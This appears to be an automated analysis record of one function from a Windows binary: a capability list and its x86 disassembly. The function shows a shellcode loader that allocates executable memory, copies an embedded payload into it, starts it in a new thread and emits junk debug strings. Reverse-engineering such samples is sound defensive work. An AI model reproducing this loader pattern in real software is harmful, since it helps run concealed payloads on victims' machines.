Function at 0x402090
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Print debug messages
Spawn thread to rwx shellcode

Disassembly:
push ecx
push ebx
push ebp
push esi
mov ebp, ecx
push edi
mov edi, str.E_hHandle_______in_DWORD_dwMilliseconds______
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.DWORDWINAPIWaitForSingleObject_______in_HANDL
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call sub.MFC42.DLL_operatornew
mov edx, eax
mov edi, str.DWORDWINAPIWaitForSingleObject_______in_HANDL
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x40
mov eax, ecx
mov esi, edi
mov edi, edx
push 0x3000
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push 0x4da78
rep movsb byte es:[edi], byte [esi]
mov edi, str.E_hHandle_______in_DWORD_dwMilliseconds______
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov esi, edi
mov ebx, ecx
mov edi, edx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, ebx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, ebx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ebx, eax
test ebx, ebx
jne 0x40212f
pop edi
pop esi
pop ebp
pop ebx
pop ecx
ret
mov edi, str.58098123foidshvlksjvnxnalkdsjhvnljkan
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov edi, str.dkahflskdhflkeuy138989751098237590824
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea eax, [edx + ecx + 1]
push eax
call sub.MFC42.DLL_operatornew
mov edx, eax
mov edi, str.dkahflskdhflkeuy138989751098237590824
or ecx, 0xffffffff
xor eax, eax
add esp, 4
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov edi, str.58098123foidshvlksjvnxnalkdsjhvnljkan
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
mov edx, eax
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push eax
and ecx, 3
push eax
rep movsb byte es:[edi], byte [esi]
push ebx
mov ecx, 0x1369e
lea esi, [ebp + 0x4da90]
mov edi, ebx
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
push str.qwerqw
mov edi, eax
call esi
push str.___
call esi
push str.23165423101321
call esi
test edi, edi
jne 0x402212
push str.werw
call esi
push 0x404324
call esi
push 0x40430c
call esi
push 0x8000
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFree]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
pop ecx
ret
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0xffffffffffffffff
push edi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
pop ecx
ret